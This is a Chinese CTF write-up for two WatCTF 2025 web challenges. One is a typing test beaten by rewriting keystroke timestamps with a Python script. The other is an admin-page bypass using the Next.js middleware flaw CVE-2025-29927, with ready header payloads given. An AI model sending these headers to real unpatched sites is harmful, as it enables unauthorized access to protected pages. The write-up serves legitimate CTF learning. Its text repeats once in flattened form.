2025 WatCTF web 题解
字数 729 2025-09-23 19:27:38

2025 WatCTF Web 题解教学文档

1. gooses-typing-test 挑战解析

挑战概述

这是一个打字速度测试挑战,要求打字速度超过500 WPM(每分钟字数)才能通过。

关键代码分析

fetch(ny+"/doneTest",{
    method:"POST",
    body:JSON.stringify({startPoint:sl, typed:X, seed:k}),
    headers:{"Content-Type":"application/json"}
}).then(Q=>Q.json()).then(Q=>{
    console.log(Q),
    E(Q.msg)
})

攻击思路

  1. 正常完成打字测试并抓包获取合法请求数据
  2. 分析数据格式:包含startPoint(开始时间)、typed(打字记录)和seed(种子)
  3. 修改打字速度使其超过500 WPM

Python自动化脚本

import json

# 读取原始数据
with open('typed_raw.json', 'r', encoding='utf-8') as f:
    data = json.load(f)
typed = data['typed']

# 计算总字符数
total_chars = len(typed)

# 设置目标WPM(如650)
target_wpm = 650

# 计算目标总时间(分钟)
target_minutes = (total_chars / 5) / target_wpm
target_ms = target_minutes * 60 * 1000  # 转换为毫秒

# 保持startPoint不变,计算endTime
start_time = typed[0]['time']
end_time = start_time + target_ms

# 计算平均间隔时间
interval = (end_time - start_time) / (total_chars - 1)

# 生成新的时间戳列表
new_typed = []
for i, entry in enumerate(typed):
    new_entry = entry.copy()
    new_entry['time'] = int(start_time + i * interval)
    new_typed.append(new_entry)

# 更新数据并保存
data['typed'] = new_typed

2. Waterloo Trivia Dash 挑战解析

挑战概述

完成三个问题后会显示/admin链接,但访问会307重定向到根目录。

发现

  • 目录扫描发现所有/admin相关路由都返回307
  • 其他不存在的路径返回404
  • 使用Next.js框架(版本>=15.0, <15.2.3)

漏洞利用(CVE-2025-29927)

Next.js中间件安全绕过漏洞原理:

  1. 中间件用于请求到达前的身份验证、授权等操作
  2. 为防止递归调用导致的无限循环,Next.js引入x-middleware-subrequest头部
  3. 漏洞点:Next.js只检查头部是否存在,不严格验证值是否合法

攻击步骤

  1. 构造恶意请求,添加x-middleware-subrequest头部
  2. 头部值应为真实存在的中间件路径:
    • middleware
    • src/middleware
  3. 使用冒号分隔创建"路径链"来多次标记已执行

有效Payload示例

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

攻击效果

通过伪造内部子请求链,绕过中间件的授权逻辑,成功访问/admin路径。

总结

这两个挑战展示了:

  1. 前端逻辑验证的绕过方法(修改时间数据)
  2. Next.js中间件安全机制的绕过技巧
  3. 如何利用版本特定的漏洞(CVE)进行权限提升
2025 WatCTF Web 题解教学文档 1. gooses-typing-test 挑战解析 挑战概述 这是一个打字速度测试挑战,要求打字速度超过500 WPM(每分钟字数)才能通过。 关键代码分析 攻击思路 正常完成打字测试并抓包获取合法请求数据 分析数据格式:包含startPoint(开始时间)、typed(打字记录)和seed(种子) 修改打字速度使其超过500 WPM Python自动化脚本 2. Waterloo Trivia Dash 挑战解析 挑战概述 完成三个问题后会显示/admin链接,但访问会307重定向到根目录。 发现 目录扫描发现所有/admin相关路由都返回307 其他不存在的路径返回404 使用Next.js框架(版本>=15.0, <15.2.3) 漏洞利用(CVE-2025-29927) Next.js中间件安全绕过漏洞原理: 中间件用于请求到达前的身份验证、授权等操作 为防止递归调用导致的无限循环,Next.js引入x-middleware-subrequest头部 漏洞点:Next.js只检查头部是否存在,不严格验证值是否合法 攻击步骤 构造恶意请求,添加x-middleware-subrequest头部 头部值应为真实存在的中间件路径: middleware src/middleware 使用冒号分隔创建"路径链"来多次标记已执行 有效Payload示例 或 攻击效果 通过伪造内部子请求链,绕过中间件的授权逻辑,成功访问/admin路径。 总结 这两个挑战展示了: 前端逻辑验证的绕过方法(修改时间数据) Next.js中间件安全机制的绕过技巧 如何利用版本特定的漏洞(CVE)进行权限提升